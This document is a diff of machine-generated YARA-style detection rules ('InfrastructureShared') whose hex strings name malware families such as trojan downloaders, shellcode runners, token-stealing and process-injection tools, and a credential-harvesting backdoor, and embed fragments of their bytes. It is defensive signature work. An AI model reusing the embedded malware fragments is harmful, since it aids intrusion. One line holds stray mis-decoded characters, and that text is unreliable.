_InfrastructureShared_7943{ +rule _InfrastructureShared_8409{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -83937,7 +88926,7 @@ rule _InfrastructureShared_7943{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*28426+(#a_32_2 & 1)*29295) >=3 } -rule _InfrastructureShared_7944{ +rule _InfrastructureShared_8410{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -83949,7 +88938,7 @@ rule _InfrastructureShared_7944{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*25938+(#a_30_2 & 1)*12856) >=3 } -rule _InfrastructureShared_7945{ +rule _InfrastructureShared_8411{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -83961,7 +88950,7 @@ rule _InfrastructureShared_7945{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*13106+(#a_57_2 & 1)*28257) >=3 } -rule _InfrastructureShared_7946{ +rule _InfrastructureShared_8412{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -83973,19 +88962,30 @@ rule _InfrastructureShared_7946{ ((#a_54_0 & 1)*18467+(#a_c6_1 & 1)*0+(#a_6e_2 & 1)*27247) >=3 } -rule _InfrastructureShared_7947{ +rule _InfrastructureShared_8413{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 50 6c 75 7a 6f 6b 73 2e 41 2e 31 00 01 00 1b 03 64 6f 77 6e 6c 6f 61 64 66 69 6c 65 90 01 0c 66 69 6c 65 63 6f 75 6e 74 00 90 00 01 00 15 03 66 69 6c 65 6e 61 6d 65 90 01 0c 66 } //18467 - $a_75_1 = {6c 00 90 00 01 00 0e 03 76 65 72 00 90 01 08 6e 69 63 6b 00 90 00 00 00 78 7c 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 5a 4c 4b 31 32 33 21 4d 54 42 00 01 00 08 81 01 63 61 73 6b 61 6e 65 74 01 00 1d 81 01 66 6c 79 6d 65 6e 20 74 61 62 65 6c 76 72 6b } //27753 - $a_20_2 = {72 62 69 74 72 61 67 65 73 01 00 1e 81 01 65 78 61 63 74 69 6f 6e 20 70 79 72 6f 78 79 6c 65 6e 65 20 73 61 70 6f 6e 69 66 69 65 73 00 00 78 7c 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 6f 72 6d 3a 57 69 6e 33 32 2f 52 65 74 68 65 64 2e 42 00 01 00 17 01 66 3d 31 26 64 3d 25 73 2a 25 73 20 25 73 2a 25 73 2a 25 73 2a 25 73 01 00 14 00 5c } //29285 + $a_75_1 = {6c 00 90 00 01 00 0e 03 76 65 72 00 90 01 08 6e 69 63 6b 00 90 00 00 00 78 7c 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 45 30 31 21 4d 54 42 00 01 00 1f 81 01 70 6f 6c 65 64 65 20 70 61 61 66 79 6c 64 6e 69 6e 67 65 72 73 20 67 69 70 73 79 77 6f 72 } //27753 condition: - ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*27753+(#a_20_2 & 1)*29285) >=3 + ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*27753) >=3 } -rule _InfrastructureShared_7948{ +rule _InfrastructureShared_8414{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 45 30 31 21 4d 54 42 00 01 00 1f 81 01 70 6f 6c 65 64 65 20 70 61 61 66 79 6c 64 6e 69 6e 67 65 72 73 20 67 69 70 73 79 77 6f 72 74 01 00 1b 81 01 73 61 70 73 75 63 6b 65 72 20 63 79 61 6e 6f 20 } //18467 + $a_64_1 = {6c 69 6e 67 65 72 01 00 0b 81 01 62 6e 6b 65 76 6c 6c 69 6e 67 73 00 00 78 7c 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 5a 4c 4b 31 32 33 21 4d 54 42 00 01 00 08 81 01 63 61 73 6b 61 6e 65 74 01 00 1d 81 01 66 6c 79 6d 65 6e 20 74 61 62 65 6c 76 72 } //29295 + $a_73_2 = {61 72 62 69 74 72 61 67 65 73 01 00 1e 81 01 65 78 61 63 74 69 6f 6e 20 70 79 72 6f 78 79 6c 65 6e 65 20 73 61 70 6f 6e 69 66 69 65 73 00 00 78 7c 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 6f 72 6d 3a 57 69 6e 33 32 2f 52 65 74 68 65 64 2e 42 00 01 00 17 01 66 3d 31 26 64 3d 25 73 2a 25 73 20 25 73 2a 25 73 2a 25 73 2a 25 73 01 00 14 } //25963 + condition: + ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*29295+(#a_73_2 & 1)*25963) >=3 + +} +rule _InfrastructureShared_8415{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -83997,7 +88997,7 @@ rule _InfrastructureShared_7948{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*29795+(#a_2e_2 & 1)*25960) >=3 } -rule _InfrastructureShared_7949{ +rule _InfrastructureShared_8416{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -84009,7 +89009,7 @@ rule _InfrastructureShared_7949{ ((#a_54_0 & 1)*18467+(#a_e6_1 & 1)*-14848+(#a_02_2 & 1)*-30623) >=3 } -rule _InfrastructureShared_7950{ +rule _InfrastructureShared_8417{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -84021,32 +89021,20 @@ rule _InfrastructureShared_7950{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*23667+(#a_00_3 & 1)*100) >=3 } -rule _InfrastructureShared_7951{ +rule _InfrastructureShared_8418{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " strings : $a_77_0 = {69 3a 48 53 54 52 3a 42 75 6e 64 6c 65 72 3a 44 6f 77 6e 65 72 00 01 00 10 01 26 00 77 00 65 00 62 00 69 00 64 00 3d 00 00 00 01 00 12 01 26 00 73 00 6f 00 66 00 74 00 69 00 64 00 3d 00 00 00 01 00 14 01 26 00 75 00 6e 00 63 00 68 00 65 00 63 00 6b 00 3d 00 00 00 01 00 12 01 00 00 64 00 6f 00 77 00 6e 00 65 00 72 00 2d 00 00 00 00 } //19491 - $a_00_1 = {00 04 00 04 00 03 00 21 23 41 4c 46 3a 50 55 41 41 64 76 65 72 74 69 73 69 6e 67 3a 57 69 6e 33 32 2f 4b 75 61 69 5a 69 70 2e 61 77 33 32 00 02 00 15 80 01 68 6f 74 6e 65 77 73 2e 64 66 74 6f 75 74 69 61 6f 2e 63 6f 6d 01 00 16 80 01 6b 75 61 69 7a 69 70 72 65 70 6f 72 74 2f 6d 69 6e 69 6e 65 77 73 01 00 12 80 01 74 69 61 6e 71 69 2e 65 61 73 74 64 61 79 2e 63 6f 6d 00 } //30720 - $a_00_2 = {00 04 00 04 00 04 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 4d 53 49 4c 2f 53 6f 79 62 61 6c 65 6b 2e 42 21 64 68 61 00 01 00 0b 01 49 48 74 74 70 4d 6f 64 75 6c 65 01 00 16 01 41 70 70 6c 69 63 61 74 69 6f 6e 5f 45 6e 64 52 65 71 75 65 73 74 01 00 10 00 75 00 73 00 65 00 72 00 6e 00 61 00 6d 00 65 00 01 00 10 00 70 00 61 00 73 00 73 00 77 00 6f 00 72 00 64 00 00 } //30720 - $a_00_3 = {00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 53 4a 4b 48 21 4d 54 42 00 01 00 21 01 11 06 11 05 11 1f 9a 1f 10 28 b0 00 00 0a 86 6f b1 00 00 0a 00 11 1f 17 d6 13 1f 11 1f 11 1e 31 df 01 00 0e 81 01 43 61 65 73 61 72 44 65 63 72 65 61 73 65 01 00 07 81 01 47 65 74 54 79 70 65 01 00 09 81 01 47 65 74 4d 65 74 68 6f 64 00 } //30720 + $a_00_1 = {00 04 00 04 00 04 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 4d 53 49 4c 2f 53 6f 79 62 61 6c 65 6b 2e 42 21 64 68 61 00 01 00 0b 01 49 48 74 74 70 4d 6f 64 75 6c 65 01 00 16 01 41 70 70 6c 69 63 61 74 69 6f 6e 5f 45 6e 64 52 65 71 75 65 73 74 01 00 10 00 75 00 73 00 65 00 72 00 6e 00 61 00 6d 00 65 00 01 00 10 00 70 00 61 00 73 00 73 00 77 00 6f 00 72 00 64 00 00 } //30720 + $a_00_2 = {00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 53 4a 4b 48 21 4d 54 42 00 01 00 21 01 11 06 11 05 11 1f 9a 1f 10 28 b0 00 00 0a 86 6f b1 00 00 0a 00 11 1f 17 d6 13 1f 11 1f 11 1e 31 df 01 00 0e 81 01 43 61 65 73 61 72 44 65 63 72 65 61 73 65 01 00 07 81 01 47 65 74 54 79 70 65 01 00 09 81 01 47 65 74 4d 65 74 68 6f 64 00 } //30720 + $a_00_3 = {00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 41 63 63 65 73 73 54 6f 6b 65 6e 41 70 69 2e 44 00 01 00 0c 81 01 4f 70 65 6e 50 72 6f 63 65 73 73 00 01 00 11 81 01 4f 70 65 6e 50 72 6f 63 65 73 73 74 6f 6b 65 6e 00 01 00 11 81 01 44 75 70 6c 69 63 61 74 65 54 6f 6b 65 6e 45 78 00 01 00 14 81 01 43 72 65 61 74 65 50 72 6f 63 65 73 73 41 73 55 73 65 72 00 00 } //30720 condition: ((#a_77_0 & 1)*19491+(#a_00_1 & 1)*30720+(#a_00_2 & 1)*30720+(#a_00_3 & 1)*30720) >=3 } -rule _InfrastructureShared_7952{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " - - strings : - $a_46_0 = {50 55 41 41 64 76 65 72 74 69 73 69 6e 67 3a 57 69 6e 33 32 2f 4b 75 61 69 5a 69 70 2e 61 77 33 32 00 02 00 15 80 01 68 6f 74 6e 65 77 73 2e 64 66 74 6f 75 74 69 61 6f 2e 63 6f 6d 01 00 16 80 01 6b 75 61 69 7a 69 70 72 65 70 6f } //16675 - $a_6d_1 = {6e 69 6e 65 77 73 01 00 12 80 01 74 69 61 6e 71 69 2e 65 61 73 74 64 61 79 2e 63 6f 6d 00 00 78 7c 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a } //29810 - $a_6b_2 = {6f 6f 72 3a 4d 53 49 4c 2f 53 6f 79 62 61 6c 65 6b 2e 42 21 64 68 61 00 01 00 0b 01 49 48 74 74 70 4d 6f 64 75 6c 65 01 00 16 01 41 70 70 6c 69 63 61 74 69 6f 6e 5f 45 6e 64 52 65 71 75 65 73 74 01 00 10 00 75 00 73 00 65 00 72 00 6e 00 61 00 6d 00 65 00 01 00 10 00 70 00 61 00 73 00 73 00 77 00 } //24898 - condition: - ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*29810+(#a_6b_2 & 1)*24898) >=4 - -} -rule _InfrastructureShared_7953{ +rule _InfrastructureShared_8419{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -84059,7 +89047,7 @@ rule _InfrastructureShared_7953{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*115+(#a_d6_2 & 1)*7953+(#a_01_3 & 1)*29537) >=4 } -rule _InfrastructureShared_7954{ +rule _InfrastructureShared_8420{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -84071,7 +89059,7 @@ rule _InfrastructureShared_7954{ ((#a_54_0 & 1)*18467+(#a_65_2 & 1)*385+(#a_73_3 & 1)*25455) >=4 } -rule _InfrastructureShared_7955{ +rule _InfrastructureShared_8421{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -84084,7 +89072,7 @@ rule _InfrastructureShared_7955{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*120+(#a_72_2 & 1)*385+(#a_73_3 & 1)*27649) >=4 } -rule _InfrastructureShared_7956{ +rule _InfrastructureShared_8422{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -84097,7 +89085,7 @@ rule _InfrastructureShared_7956{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*24936+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=4 } -rule _InfrastructureShared_7957{ +rule _InfrastructureShared_8423{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -84110,7 +89098,7 @@ rule _InfrastructureShared_7957{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*5888+(#a_01_2 & 1)*30063+(#a_70_3 & 1)*24939) >=4 } -rule _InfrastructureShared_7958{ +rule _InfrastructureShared_8424{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -84123,7 +89111,7 @@ rule _InfrastructureShared_7958{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*30579+(#a_72_2 & 1)*28271+(#a_46_3 & 1)*27749) >=4 } -rule _InfrastructureShared_7959{ +rule _InfrastructureShared_8425{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -84136,43 +89124,44 @@ rule _InfrastructureShared_7959{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*8293+(#a_58_2 & 1)*-32502+(#a_20_3 & 1)*28265) >=4 } -rule _InfrastructureShared_7960{ +rule _InfrastructureShared_8426{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 59 59 5a 31 32 33 21 4d 54 42 00 01 00 12 81 01 48 6f 72 6d 65 6c 20 46 6f 6f 64 73 20 43 6f 72 70 2e 01 00 0f 81 01 6d 61 73 74 75 72 62 61 74 65 73 2e 65 78 65 01 00 0a 81 01 58 69 6c 69 6e 78 20 } //18467 $a_01_1 = {00 13 81 01 57 65 73 74 65 72 6e 20 44 69 67 69 74 61 6c 20 49 6e 63 00 00 78 7c 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 44 53 30 31 21 4d 54 42 00 01 00 0c 81 01 6f 6d 62 72 6f 6c 6f 67 69 63 61 6c 01 00 0d 81 01 67 65 6e 69 6e 64 73 74 74 } //28233 - $a_65_2 = {00 09 81 01 76 61 70 6f 72 69 6e 67 73 01 00 1d 81 01 73 70 75 72 76 20 75 6e 62 75 69 6c 64 73 20 64 69 61 6d 61 6e 74 69 66 65 72 6f 75 73 00 00 78 7c 00 00 05 00 05 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 68 65 6c 6c 43 6f 64 65 52 75 6e 6e 65 72 2e 4e 53 21 4d 54 42 00 03 00 2a 01 41 8b e8 45 33 c0 48 85 ed 74 } //27749 - $a_b7_3 = {44 49 3b f1 75 37 47 8b 5c 85 00 4d 03 da 33 } //17230 + $a_65_2 = {00 09 81 01 76 61 70 6f 72 69 6e 67 73 01 00 1d 81 01 73 70 75 72 76 20 75 6e 62 75 69 6c 64 73 20 64 69 61 6d 61 6e 74 69 66 65 72 6f 75 73 00 00 78 7c 00 00 05 00 05 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 6f 66 6f 74 2e 4e 46 21 4d 54 42 00 03 00 28 01 8b c6 e8 91 18 00 00 50 8b c6 e8 8d 1a 00 00 8d 53 48 59 e8 } //27749 + $a_ff_3 = {c6 e8 79 18 00 00 c6 44 03 48 00 33 c0 5e 5b 01 00 0e 01 75 70 63 66 67 32 2e 65 6e 65 74 33 32 31 01 00 12 01 55 52 4c 44 6f 77 6e 6c 6f 61 64 54 6f 46 69 6c 65 41 00 00 78 7c 00 00 05 00 05 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 41 63 68 6f 6f 74 79 2e 41 21 64 68 61 00 03 00 12 01 5c 7a 78 73 68 65 6c 6c 5c 6d 67 72 6d 6f 75 6e 74 5c 02 00 20 01 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 6d 00 67 00 72 00 6d 00 6f 00 75 00 6e 00 74 00 02 00 15 03 48 05 e0 00 00 00 48 8d 90 01 02 00 00 00 48 87 08 33 c0 90 00 00 00 78 7c 00 00 05 00 05 00 04 00 21 23 48 53 54 52 3a 49 6e 74 65 6e 74 54 6f 49 6e 6a 65 63 74 00 01 00 12 80 01 57 72 69 74 65 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 01 00 0e 80 01 56 69 72 74 75 61 6c 50 72 6f } //-1536 condition: - ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*28233+(#a_65_2 & 1)*27749+(#a_b7_3 & 1)*17230) >=4 + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*28233+(#a_65_2 & 1)*27749+(#a_ff_3 & 1)*-1536) >=4 } -rule _InfrastructureShared_7961{ +rule _InfrastructureShared_8427{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 44 53 30 31 21 4d 54 42 00 01 00 0c 81 01 6f 6d 62 72 6f 6c 6f 67 69 63 61 6c 01 00 0d 81 01 67 65 6e 69 6e 64 73 74 74 65 6c 73 65 01 00 09 81 01 76 61 70 6f 72 69 6e 67 73 01 00 1d 81 01 73 70 } //18467 - $a_20_1 = {6e 62 75 69 6c 64 73 20 64 69 61 6d 61 6e 74 69 66 65 72 6f 75 73 00 00 78 7c 00 00 05 00 05 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 68 65 6c 6c 43 6f 64 65 52 75 6e 6e 65 72 2e 4e 53 21 4d 54 42 00 03 00 2a 01 41 8b e8 45 33 c0 48 85 ed 74 4e 43 0f b7 34 44 49 3b f1 75 37 47 8b 5c 85 00 4d 03 da 33 ff eb 16 8b d7 8b c7 c1 } //29301 - $a_ea_2 = {00 18 01 45 84 ff 75 e2 3b 7c 24 40 75 07 41 8b 1c b6 49 03 da 49 ff c0 4c 3b c5 00 00 78 7c 00 00 05 00 05 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 41 63 68 6f 6f 74 79 2e 41 21 64 68 61 00 03 00 12 01 5c 7a 78 73 68 65 6c 6c 5c 6d 67 72 6d 6f 75 6e 74 5c 02 00 20 01 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 6d 00 67 00 72 00 6d 00 6f 00 75 00 6e 00 74 00 02 00 15 03 48 05 e0 00 00 00 48 8d 90 01 02 00 00 00 48 87 08 33 c0 90 00 00 00 78 7c 00 00 05 00 05 00 04 00 21 23 48 53 54 52 3a 49 6e 74 65 6e 74 54 6f 49 6e 6a 65 63 74 00 01 00 12 80 01 57 72 69 74 65 50 72 6f 63 65 73 73 4d 65 6d 6f 72 } //6624 + $a_20_1 = {6e 62 75 69 6c 64 73 20 64 69 61 6d 61 6e 74 69 66 65 72 6f 75 73 00 00 78 7c 00 00 05 00 05 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 6f 66 6f 74 2e 4e 46 21 4d 54 42 00 03 00 28 01 8b c6 e8 91 18 00 00 50 8b c6 e8 8d 1a 00 00 8d 53 48 59 e8 00 fa ff ff 8b c6 e8 79 18 00 00 c6 44 03 48 00 33 c0 5e 5b 01 00 0e 01 75 70 63 66 } //29301 + $a_65_2 = {65 74 33 32 31 01 00 12 01 55 52 4c 44 6f 77 6e 6c 6f 61 64 54 6f 46 69 6c 65 41 00 00 78 7c 00 00 05 00 05 00 03 00 21 23 54 45 4c 3a 54 } //12903 瑥㈳ıሀ唁䱒潄湷潬摡潔楆敬A砀|ԀԀ̀℀吣䱅吺 + $a_61_3 = {3a 57 69 6e 36 34 2f 41 63 68 6f 6f 74 79 2e 41 21 64 68 61 00 03 00 12 01 5c 7a 78 73 68 65 6c 6c 5c 6d 67 72 6d 6f 75 6e 74 5c 02 00 20 01 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 6d 00 67 00 72 00 6d 00 6f 00 75 00 6e 00 74 00 02 00 15 03 48 05 e0 00 00 00 48 8d 90 01 02 00 00 00 48 87 08 33 c0 90 00 00 00 } //28530 condition: - ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*29301+(#a_ea_2 & 1)*6624) >=4 + ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*29301+(#a_65_2 & 1)*12903+(#a_61_3 & 1)*28530) >=4 } -rule _InfrastructureShared_7962{ +rule _InfrastructureShared_8428{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 68 65 6c 6c 43 6f 64 65 52 75 6e 6e 65 72 2e 4e 53 21 4d 54 42 00 03 00 2a 01 41 8b e8 45 33 c0 48 85 ed 74 4e 43 0f b7 34 44 49 3b f1 75 37 47 8b 5c 85 00 4d 03 da 33 ff eb 16 8b d7 8b } //16675 - $a_19_1 = {ea 02 00 18 01 45 84 ff 75 e2 3b 7c 24 40 75 07 41 8b 1c b6 49 03 da 49 ff c0 4c 3b c5 00 00 78 7c 00 00 05 00 05 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 41 63 68 6f 6f 74 79 2e 41 21 64 68 61 00 03 00 12 01 5c 7a 78 73 68 65 6c 6c 5c 6d 67 72 6d 6f 75 6e 74 5c 02 00 20 01 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 6d 00 67 00 72 00 6d 00 6f 00 75 00 6e 00 74 00 02 00 15 03 48 05 e0 00 00 00 48 8d 90 01 02 00 00 00 48 87 08 33 c0 90 00 00 00 78 7c 00 00 05 00 05 00 04 00 21 23 48 53 54 52 3a 49 6e 74 65 6e 74 54 6f 49 6e 6a 65 63 74 00 01 00 12 80 01 57 72 69 74 65 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 01 00 0e 80 01 56 69 72 74 75 } //-15929 + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 6f 66 6f 74 2e 4e 46 21 4d 54 42 00 03 00 28 01 8b c6 e8 91 18 00 00 50 8b c6 e8 8d 1a 00 00 8d 53 48 59 e8 00 fa ff ff 8b c6 e8 79 18 00 00 c6 44 03 48 00 33 c0 5e 5b 01 00 0e 01 75 70 } //16675 + $a_32_1 = {65 6e 65 74 33 32 31 01 00 12 01 55 52 4c 44 6f 77 6e 6c 6f 61 64 54 6f 46 69 6c 65 41 00 00 78 7c 00 00 05 00 05 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 41 63 68 6f 6f 74 79 2e 41 21 64 68 61 00 03 00 12 01 5c 7a 78 73 68 65 6c 6c 5c 6d 67 72 6d 6f 75 6e 74 5c 02 00 20 01 5c 00 44 } //26211 condition: - ((#a_46_0 & 1)*16675+(#a_19_1 & 1)*-15929) >=5 + ((#a_46_0 & 1)*16675+(#a_32_1 & 1)*26211) >=5 } -rule _InfrastructureShared_7963{ +rule _InfrastructureShared_8429{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " @@ -84184,7 +89173,7 @@ rule _InfrastructureShared_7963{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*109+(#a_50_2 & 1)*24949) >=5 } -rule _InfrastructureShared_7964{ +rule _InfrastructureShared_8430{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -84197,7 +89186,7 @@ rule _InfrastructureShared_7964{ ((#a_54_0 & 1)*18467+(#a_43_1 & 1)*-32744+(#a_54_2 & 1)*29793+(#a_64_3 & 1)*26742) >=5 } -rule _InfrastructureShared_7965{ +rule _InfrastructureShared_8431{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -84211,33 +89200,43 @@ rule _InfrastructureShared_7965{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*30821+(#a_52_2 & 1)*24388+(#a_69_3 & 1)*29559+(#a_01_4 & 1)*5) >=5 } -rule _InfrastructureShared_7966{ +rule _InfrastructureShared_8432{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_46_0 = {50 55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 6e 33 32 2f 49 6e 73 74 61 6c 6c 43 6f 72 65 2e 48 4d 52 31 00 01 00 12 80 01 49 4e 53 54 41 4c 4c 5f 44 57 4e 4c 44 5f 55 52 4c 32 01 00 09 80 01 49 6e 73 74 61 6c 6c 65 72 01 00 0c } //16675 $a_44_1 = {55 53 5f 53 45 52 56 45 52 01 00 05 80 01 53 6c 65 65 70 01 00 05 80 01 47 65 74 44 43 00 00 78 7c 00 00 06 00 06 00 04 00 21 23 41 4c 46 3a 48 53 54 52 3a 4d 49 54 4d 3a 57 69 6e 64 6f 77 73 44 69 73 } //384 - $a_6e_2 = {00 01 00 0b 01 50 72 6f 78 79 53 65 72 76 65 72 01 00 12 01 6e 65 74 77 6f 72 6b 2e 70 72 6f 78 79 2e 74 79 70 65 05 00 15 01 56 77 69 6e 5f 69 6f 63 70 5f 69 6f 5f 73 65 72 76 69 63 65 40 05 00 12 01 56 63 6f 6e 6e 65 63 74 69 6f 6e 40 70 72 6f 78 79 40 00 00 78 7c 00 00 0c 00 0c 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4e 6a } //28515 - $a_2e_3 = {45 42 44 21 4d 54 42 00 0a 00 3c 01 0b 02 07 6f 0e 00 00 0a 6f 0f 00 00 0a 0c 08 6f 10 00 00 0a 69 8d 14 00 00 01 0a 08 06 16 06 8e 69 6f 11 00 00 0a 26 de 0a 08 2c 06 08 6f 12 00 00 0a dc 06 28 13 00 00 0a 0d 14 09 02 00 0f 01 52 50 58 20 31 2e 33 2e 34 34 30 30 2e 36 31 00 00 78 7c 00 00 0c 00 0c 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 } //24914 - $a_6c_4 = {61 64 65 72 3a 4d 53 49 4c 2f 42 73 79 6d 65 6d 2e 47 53 47 21 4d 53 52 00 0a 00 10 01 06 91 06 61 20 aa 00 00 00 61 d2 9c 06 17 58 0a 01 00 25 00 24 36 45 44 44 36 44 37 34 2d 43 30 30 37 2d 34 45 37 35 2d 42 37 36 41 2d 45 35 37 34 30 39 39 35 45 32 34 43 01 00 08 01 61 64 64 5f 4c 6f 61 64 00 00 78 7c 00 00 0c 00 0c 00 03 00 } //30575 + $a_6e_2 = {00 01 00 0b 01 50 72 6f 78 79 53 65 72 76 65 72 01 00 12 01 6e 65 74 77 6f 72 6b 2e 70 72 6f 78 79 2e 74 79 70 65 05 00 15 01 56 77 69 6e 5f 69 6f 63 70 5f 69 6f 5f 73 65 72 76 69 63 65 40 05 00 12 01 56 63 6f 6e 6e 65 63 74 69 6f 6e 40 70 72 6f 78 79 40 00 00 78 7c 00 00 0a 00 0a 00 02 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 } //28515 + $a_2f_3 = {72 61 70 68 69 63 4d 61 6e 74 6c 65 2e 41 00 05 00 20 01 5c 41 7a 75 72 65 5f 47 55 49 5c 52 65 6c 65 61 73 65 5c 41 7a 75 72 65 5f 47 55 49 2e 70 64 } //13166 condition: - ((#a_46_0 & 1)*16675+(#a_44_1 & 1)*384+(#a_6e_2 & 1)*28515+(#a_2e_3 & 1)*24914+(#a_6c_4 & 1)*30575) >=5 + ((#a_46_0 & 1)*16675+(#a_44_1 & 1)*384+(#a_6e_2 & 1)*28515+(#a_2f_3 & 1)*13166) >=5 } -rule _InfrastructureShared_7967{ +rule _InfrastructureShared_8433{ meta: description = 